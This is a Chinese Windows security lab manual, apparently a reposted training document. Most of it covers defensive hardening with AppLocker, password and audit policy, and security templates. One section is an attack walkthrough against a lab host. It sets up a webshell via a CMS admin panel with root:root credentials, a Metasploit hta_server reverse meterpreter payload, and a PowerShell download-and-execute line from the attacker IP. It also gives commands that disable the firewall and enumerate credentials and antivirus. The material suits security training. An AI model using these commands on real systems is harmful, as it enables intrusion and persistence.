windows安全配置实验手册

访问控制策略(L1940520022J)

预备知识

Windows 7中,不仅有面向软件的限制方法,还增加了一种名为AppLocker的访问控制策略(仅适用于企业版和旗舰版)。

实验环境


操作系统类型:windows 7。

实验步骤一

设置必要的服务并使其自动启动

在windows资源管理器中右键点击计算机

点击管理,点击右侧栏中的服务,选中application identity,在其上点击右键选择属性

在属性窗口中的常规选项卡中点击启动按钮,并把启动类型设置为“自动”。

最后点击确定。

实验步骤二

设置新的普通账户

在windows资源管理器中右键点击计算机

点击管理,在左侧栏中右键点击用户

点击新用户,录入账户、密码,并设置勾选项

实验步骤三

设置限制策略

在“开始”菜单中的运行文本框中,录入“gpedit.msc”,启动“本地组策略编辑器”。

选择“windows设置”-“安全设置”-“应用程序控制策略”-“AppLocker”-“可执行规则”。

在右侧空白窗口中点击右键,选择“创建新规则”。

点下一步,选择拒绝单选项,并点击选择按钮。

点击上图“高级”按钮。

点击“立即查找”按钮。

选择“users”组,点击两次“确定”。

在下图中选择“拒绝”,再在“用户或组”栏点击“选择”来选择具体的组或用户。

点击“下一步”,选择“路径”单选钮。

点击“下一步”。

点击“浏览文件”。

选中system32目录下的notepad.exe文件,点击“打开”按钮

点击“创建”按钮。

点击“是”按钮。

至此,访问控制(限制使用)的策略已经设置完毕。

注意:务必重启计算机或虚拟机,策略才会生效。

实验步骤四

验证限制策略的效果

重新启动系统并以新建的(被拒绝策略限制使用某软件的)用户及密码登录。

试着运行被前面设置的策略决绝=拒绝该用户使用的写字板(notepad)程序。

点击“记事本”程序图标。

Windows7操作系统安全

预备知识

Windows系列是目前世界上使用用户最多的桌面操作系统。由于历史原因,Windows的很多用户都直接以管理员权限运行系统,对计算机安全构成很大隐患。从Windows Vista[lc1] 开始,Windows加强了用户账户控制的管理,使用“用户账户控制”(User Account Control,UAC)模块来管理和限制用户权限。UAC体现了最小特权原则,即在执行任务时使用尽可能少的特权。用户以管理员身份登陆会得到两个令牌:

1)完全访问令牌(需要管理员特别设置权限)

2)标准受限访问令牌(应用程序默认以标准用户令牌运行)

安全审计是整体安全策略的一部分。通过对系统和用户进行充分和适当的审核,就能够在发生安全事故之后帮助发现产生事故的原因,并提供相应的证据。Windows审核子系统与安全决策组件、事件日志服务联合工作,以可靠的方式生成安全事件。安全决策组件通常被称作安全参考监控,当制定了安全决策后或有其他有关安全的活动发生时,监视器就会通知审核子系统,并将活动的细节传给系统。审核系统将这些细节格式化为事件日志。

实验环境

Windows7 操作系统

实验步骤一

账户与口令

(1)删除不再使用的账户,禁用Guest账户。进入“控制面板”→“用户账户和家庭安全”→“用户账户”→“管理其他账户”,如图 1所示。

图 1 未使用和来宾账户

找到未使用的用户,选择“删除账户”,如果确定永久不再使用,那么相应的账户文件也要选择删除;找到“来宾账户”,选择“关闭来宾账户”;更改管理员账户的名称,避免“admin”等简单账户名。

(2)启用账户策略。进入“控制面板”→“管理工具”→“本地安全策略”。

在“账户策略”→“密码策略”中,启用“密码必须符合复杂性要求”和设置“密码长度最小值”提升密码强度;设定“密码最短使用期限”防止短期内入侵者修改密码;设定“密码最长使用期限”提醒用户定期修改密码,防止密码使用时间过长带来的安全问题,如图 2所示。

图 2 密码策略

在“账户策略”→“账户锁定策略”中,设置用户连续登录失败多次,则锁定一段时间,如连续登录失败3次,则锁定30分钟。

在“本地策略”→“安全选项”中,启用“交互式登录:不显示最后的用户名”,防止攻击者从本地或Terminal Service的登录界面看到用户名;启用“网络访问:不允许枚举SAM账户和共享的匿名枚举”,防止攻击者通过空连接匿名枚举出本地所有用户名,如图3所示。

图 3 安全选项

(3)用户和用户组权限管理。任意选择一个文件或者文件夹,右键选择“属性”→“安全”,可以查看到组或用户的管理权限,包括修改、读取和执行、列出内容、读取、写入等,如图4所示。

图 4 查看用户管理权限

点击“高级”,进入高级安全设置,选择需要更改的用户或组,点击“编辑”,在弹出的权限项目中勾选权限允许或者拒绝,如图5所示。

图 5 用户和组高级安全设置

实验步骤二

审核与日志

(1)启用审核。进入“控制面板”→“管理工具”→“本地安全策略”。在“本地策略”→“审核策略”中,选择需要审核的策略,勾选审核的具体操作。例如更改“审核账户管理”,对成功和失败操作都进行审核,如图6所示。

图 6 审核策略

(2)查看日志事件。进入“控制面板”→“管理工具”→“事件查看器”,可以看到“Windows日志”、“应用程序和服务日志”等内容,打开“Windows日志”→“安全”即可查看所有安全事件,如图7所示。

图 7 日志查看

实验步骤三

安全模板

(1)启用安全模板。打开“运行”,输入“mmc”进入系统控制台,进入“文件”“添加/删除管理单元”,添加“安全模板”和“安全配置和分析”,如图8所示。

图 8 添加安全模板

(2)新建安全模板。在“安全模板”中选择“新加模板”,填入名称及描述,建立成功后可以看到该模板下的所有策略,按照不同的需求更改不同的策略项目并保存即可,如图9所示。

图 9 新建安全模板

添加完毕后回到控制台,在“安全配置与分析”项目中,按照提示打开或新建数据库,如图10所示。(此步骤需要系统中存在配置文件才能操作)

图 10 导入安全模板数据库

成功导入数据库后,选择“立即分析计算机”,并设置日志文件路径,系统开始按照上一步中选定的安全模板,以确定当前系统的安全设置是否符合要求,分析完毕后可在目录中选择查看各安全设置的分析结果。选择“立即配置计算机”,则按照所选择的安全模板的要求对当前系统进行配置。


 [lc1]Windows Vista" 是微软(Microsoft)发布的操作系统,它是Windows XP之后的一代操作系统。

Windows主机信息收集

实验环境

目标机器:win7、IP:10.1.1.126

攻击机器:kali、IP:10.1.1.144

所需工具请在实验机内下载使用: http://tools.hetianlab.com/tools/HongCMS-tools.zip

实验步骤一

任务描述:获取目标服务器shell

目标首页:

通过对目标网站的敏感目录探测,发现存在admin目录:

访问后发现为目标网站后台:

通过手工枚举的方式用户名和密码为root:root成功进入后台:

接下来就是寻找可以getshell的点:

在模板管理处发现存在任意文件上传且允许上传php,目录也回显给我们了。

同时在语言管理处发现也可以编辑语言文件getshell:

此处我们通过修改语言模板getshell,访问后可能会报权限不足的错误,但是shell是可以运行的:

通过蚁剑连接,获取目标shell

Linux启动蚁剑:

下载工具包后解压antSword-2.1.10和AntSword-Loader-v4.0.3-linux-x64,前一个为蚁剑加载包,后一个为蚁剑主程序。进入AntSword-Loader-v4.0.3-linux-x64启动蚁剑:

这时候需要去初始化蚁剑的工作目录,选择解压后的antSword-2.1.10,然后重启蚁剑。

之后配置要连接的shell:

实验步骤二

任务描述:通过获取的webshell,进行内网信息收集

1. 首先分析进出口的流量是否能连通

协议的判断:场景的TCP、DNS、HTTP、ICMP等协议;

端口判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有80,8080,443,53,110,123;

TCP协议:

vps: nc -lvvp[lc1]  8888 

target: nc 10.1.1.144 8888 (需要通过webshell上传nc)

ICMP协议:

vps:tcpdump icmp 

target: ping 10.1.1.144

DNS协议:

vps: nc -u -lvp 53  

target :nslookup www.baidu.com 10.1.1.144

HTTP协议:nc -lvvp 80  

target: 10.1.1.144 80  (需要上传curl)

将shell反弹到msf上面,因为在webshell下不交互

use exploit/windows/misc/hta_server

msf exploit(windows/misc/hta_server) > set srvhost 10.1.1.144

msf exploit(windows/misc/hta_server) > set payload windows/x64/meterpreter/reverse_tcp

msf exploit(windows/misc/hta_server) > set lhost 10.1.1.144

msf exploit(windows/misc/hta_server) > set target 1

msf exploit(windows/misc/hta_server) > exploit -j

2. 用户信息收集

查看本机用户列表:net user

获取本地管理员信息:net localgroup administrators

#查看当前在线用户和会话

quser

query user

query user || qwinsta

查当前用户在目标系统中的具体权限:whoami /all

查看当前权限:whoami && whoami /priv

查当前机器中所有的组名,了解不同组的职能:net localgroup

3. 系统信息收集

查询网络配置信息,进行IP地址段信息收集:ipconfig /all

#查询操作系统及软件信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"   #英文系统

systeminfo | findstr /B /C:"OS 名称 " /C:"OS 版本 "    #中文系统

查看当前系统版本:wmic OS get Caption,CSDVersion,OSArchitecture,Version

查看系统体系结构:echo %PROCESSOR_ARCHITECTURE%

查询本机服务信息:wmic service list brief

查看安装的软件的版本、路径等:wmic product get name, version

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"

查询进程信息:tasklist

wmic process list brief

查看启动程序信息:wmic startup get command,caption

#查看计划任务

at (win10之前)

schtasks /query /fo LIST /v (win10)

查看主机开机时间:net statistics workstation

列出或断开本地计算机与所连接的客户端的对话:net session

查看远程连接信息:cmdkey /l

查看补丁列表:systeminfo | findstr KB

查看补丁的名称、描述、 ID、安装时间等:wmic qfe getCaption,Description,HotFixID,InstalledOn

查看杀软:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct GetdisplayName /Format:List

查看本地密码策略:net accounts

#查看 hosts 文件

Linux:cat /etc/hosts

Windows:type c:\Windows\system32\drivers\etc\hosts

查看dns缓存:ipconfig /displaydns

4. 网络信息收集

查看本机所有的tcp,udp端口连接及其对应的 pid :netstat -ano

查看本机所有的tcp,udp端口连接,pid及其对应的发起程序:netstat -anob

#查看路由表和arp缓存:

route print

arp -a

 #查看本机共享列表和可访问的域共享列表(445端口)

net share

wmic share get name,path,status

磁盘映射:net use k: \\10.1.1.144\c$

5. 防火墙信息收集

#关闭防火墙

netsh firewall set opmode disable (Windows Server 2003以前的版本)

netsh advfirewall set allprofiles state off(WindowsServer 2003 以后的版本)

查看防火墙配置:netsh firewall show config (netsh命令也可以用作端口转发)

查看配置规则:netsh advfirewall firewall show rule name=all

6. 代理信息收集(前提目标配置了代理,否则会报错)

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v ProxyServer

#通过pac文件自动代理情况

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v AutoConfigURL

7. Powershell脚本

FTP 访问、共享连接、 putty 连接、驱动、应用程序、 hosts 文件、进程、无线网络记录

首先在kali开启http服务:Python3 -m http.server

powershell iex(new-object net.webclient).downloadstring('http://10.1.1.144:8000/Get-Information.ps1');Get-information

8. Metasploit

Scraper模块:

Meterpreter > run scraper

/root/.msf4/logs/scripts/scraper

winenum模块:

meterpreter > run winenum

/root/.msf4/logs/scripts/winenum


 [lc1]nc: 这是Netcat命令的缩写,用于在网络上传输数据。

-l: 这个选项表示在监听模式下运行Netcat,也就是让Netcat成为一个监听器,等待传入的连接。

-v: 这是"verbose"(详细)模式的选项,它会显示更多详细信息,通常用于调试目的。

-p 8888: 这个选项指定要监听的端口号。在这个例子中,它是8888,表示Netcat将在端口8888上等待传入的连接。

如何优雅的保护你的系统

实验环境

操作系统:Windows 7  IP地址:随机

所用软件:360安全卫士,沙盒软件(Sandboxie,360沙盒)

实验步骤一

创建安全的系统用户

1、创建非管理员权限的用户

      Windows系统从Windows 7。   为了安全考虑开始默认账号并不是管理员账号。但是很多人装的系统并不是原版安装,所以很多人使用的系统账号是管理员账号,这对我们的系统来说是非常不安全的。所以我们要学习如何创建非管理员权限的账号

      特别说明:由于实验环境的特殊性,试验机所用的账号是Administrator管理员账号,禁止重启系统。

      创建账号最好在系统刚刚装好之后,其他的软件安装使用创建的非管理员账号登录系统后安装。

1)打开“计算机管理”

      在“计算机”图标上右键,选择“管理”

2)选择“本地用户和组”

      点击“本地用户和组”左边的 + 加号,再点“用户”,就能看到操作系统当前有哪些账号了

3)新建用户:

      在空白处右键,选择 “新用户” ,弹出新用户选项卡

      填入你想设置的用户名和密码:全名和描述可以随便填写

实验步骤二

对操作系统进行安全防护

1)开启Windows系统防火墙,提供基础保护,此处不演示防火墙高级设置

      点击桌面右下角的“网络图标”选择“打开网络和共享中心”

      在打开的界面中选择“Windows防火墙”

      接着我们可以看到防火墙状态界面:绿色的盾牌表示当前防火墙是开启的

     

      如果是红色的盾牌,表示防火墙未开启:

     

      此时我们可以点:“使用推荐设置”,这样系统就会开启防火墙

     

 2)打开windows update,更新系统补丁

      Windows会不定时发布系统漏洞补丁,打开Windows update可以保证能及时更新补丁,当然我们不推荐此法。请往下看

3)安装安全软件,实验环境已安装360安全卫士

      在桌面右下角的 360安全卫士的图标上右键选择“查杀修复”

      选择”漏洞修复“, “立即修复“即可。

4)利用360杀毒查杀木马病毒

      扫描未知文件:

      在C盘下有一个看上去不认识的文件夹,我们用360杀毒来扫描是否正常,在文件夹上右键—选择360杀毒扫描(其他杀毒软件同理)

      等一会儿就出来结果了,然后点“立即处理“

      当然你还可以在整个 C盘上右键选择”使用360杀毒扫描”

     

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/272174.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【问题记录-ASIO】Audition多通道ASIO驱动提示“(不工作)“问题

一,问题现象 在使用Audition打开多通道工程,使用ASIO驱动,却发现设备提示“不工作”,如下图所示: 二,解决方法 2.1 声卡设备枚举确认 首先确认声卡设备枚举是否成功,如果没有枚举成功&…

【SpringCloud笔记】(10)消息总线之Bus

Bus 前言 戳我了解Config 学习Config中我们遇到了一个问题: 当我们修改了GitHub上配置文件内容,微服务需要配置动态刷新并且需要手动向客户端发送post请求刷新微服务之后才能获取到GitHub修改过后的内容 假如有多个微服务客户端3355/3366/3377…等等…

将本地镜像推送到阿里云

文章目录 创建仓库镜像登录 并上传下载上传的 创建仓库镜像 利用下面的脚本进行配置 登录 并上传 [roothadoop100 ~]# docker login --username13thm registry.cn-hangzhou.aliyuncs.com Password: [roothadoop100 ~]# docker tag ba78e6d6845c registry-vpc.cn-hangzhou.al…

C++-类和对象(1)

1.面向过程和面向对象初步认识 C语言是面向过程的,关注的是过程,分析出求解问题的步骤,通过函数调用逐步解决问题。 C是基于面向对象的,关注的是对象,将一件事情拆分成不同的对象,靠对象之间的交互完 成。…

一文读懂铭文赛道新手攻略

近期,加密领域的热点焦点不断涌现,但毫无疑问,"铭文"这个词汇已经成为了近两个月内广受瞩目的关键词之一。像ORDI、SATS、RATS等铭文项目在比特币区块链上获得了惊人的增长,为持有者带来了巨大的财富效应。铭文热潮已经…

使用 Fiddler+Linux 日志 + 数据库,搞懂3个问题,强势回怼开发!

测试过程中有没有遇到过什么问题是你解决的? 遇到bug怎么分析是前端bug还是后端bug? 测试的时候怎么确认你的测试结果是正确的? 定位分析问题的能力是测试不可或缺的,而且这个能力需要项目经验积累以及需要丰富的知识面才能达到…

k8s---kubernets

目录 一、Kurbernetes 1.2、K8S的特性: 1.3、docker和K8S: 1.4、K8S的作用: 1.5、K8S的特性: 二、K8S集群架构与组件: 三、K8S的核心组件: 一、master组件: 1、kube-apiserver&#xff1…

NET中使用SQLSugar操作sqlserver数据库

目录 一、SqlSugar是什么? 二、迁移和建表 1.建立实体 2.创建上下文类 3.在Program中添加SqlSugar服务 4.在控制器中注入上下文类 三、简单实现CURD功能 总结 一、SqlSugar是什么? SqlSugar是一款老牌 .NET 开源ORM框架。 主要特点&#xff1a…

JVM入门到入土-Java虚拟机寄存器指令集与栈指令集

JVM入门到入土-Java虚拟机寄存器指令集与栈指令集 HotSpot虚拟机中的任何操作都需要入栈和出栈的步骤。 由于跨平台性的设计,Java的指令都是根据栈来设计的。不同平台CPU架构不同,所以不能设计为基于寄存器的。优点是跨平台,指令集小&#x…

华为设备VRP系统管理

为了满足企业业务对网络的需求,网络设备中的系统文件需要不断进行升级。另外,网络设备中的配置文件也需要时常进行备份,以防设备故障或其他灾害给业务带来损害。在升级和备份系统文件或配置文件时,经常会使用FTP和TFTP来传输文件。…

系统学习Python——装饰器:函数装饰器-[跟踪调用]

分类目录:《系统学习Python》总目录 如下的代码定义并使用了一个函数装饰器,统计对被装饰函数的调用次数,并且针对每一次调用打印跟踪信息: class tracer:def __init__(self, func):self.calls 0self.func funcdef __call__(se…

【Linux驱动】最基本的驱动框架 | LED驱动

🐱作者:一只大喵咪1201 🐱专栏:《Linux驱动》 🔥格言:你只管努力,剩下的交给时间! 目录 🏀最基本的驱动框架⚽驱动程序框架⚽编程 🏀LED驱动⚽配置GPIO⚽编程…

Python 高级(四):线程池 ThreadPoolExecutor

大家好,我是水滴~~ 当涉及到需要同时处理多个任务的情况时,使用线程池是一种高效的方法。Python提供了concurrent.futures模块,其中的ThreadPoolExecutor类使得使用线程池变得非常方便。本文将详细介绍Python线程池的概念、使用方法和示例代…

【网络安全 | SQL注入】一文讲清预编译防御SQL注入原理

在防止SQL注入的方法中,预编译是十分有效的,它在很大程度上解决了SQL注入问题。 SQL注入简析 数据库查询语句未对SQL注入做任何防护时,语句基本如下: $name$_POST[name]; $pass$_POST[pass]; $sql"SELECT * FROM user W…

展望2024的区块链世界,铭文将是绕不开的话题

近期,加密领域的热点焦点不断涌现,但毫无疑问,"铭文"这个词汇已经成为了近两个月内广受瞩目的关键词之一。像ORDI、SATS、RATS等铭文项目在比特币区块链上获得了惊人的增长,为持有者带来了巨大的财富效应。铭文热潮已经…

图片批量处理:图片批量缩放,高效调整尺寸的技巧

在数字媒体时代,图片处理已是日常生活和工作中不可或缺的一部分。有时候要批量处理图片,如缩放图片尺寸,以满足不同的应用需求。现在一起来看看办公提效式具如何高效的将图片批量处理方法,快速、准确地批量调整图片尺寸操作。 下…

SQL server 数据库练习题及答案(练习2)

使用你的名字创建一个数据库 创建表: 数据库中有三张表,分别为student,course,SC(即学生表,课程表,选课表) 问题: --1.分别查询学生表和学生修课表中的全部数据。--2.查询成绩在70到80分之间…

封装map和set

文章目录 封装mapset红黑树成员变量节点定义KeyOfTMapKeyOfTSetKeyOfT begin() && end()迭代器迭代器类operatoroperator- - insert 封装 map和set的底层都是通过红黑树来实现的,那么是怎么做到共用同一份代码,但让map存储的是键值对&#xff0…

多功能演示工具ProVideoPlayer2 mac特色介绍

ProVideoPlayer2 mac是用于大多数任何生产的首选多功能演示工具。ProVideoPlayer 2是一种动态视频播放和处理媒体服务器,可将视频映射(包括播放和实时视频输入)实时控制到一个或多个输出。包括实时效果,调度,网络同步和…

(AntV X6)vue2项目流程图实现

(AntV X6)vue2流程图实现 项目:gitLab/zhengzhouyuan 效果: 一、项目引入X6 npm install antv/x6 --save 二、引入相关插件 npm install --save antv/x6-plugin-clipboard antv/x6-plugin-history antv/x6-plugin-keyboard antv/x6-plugin-selection an…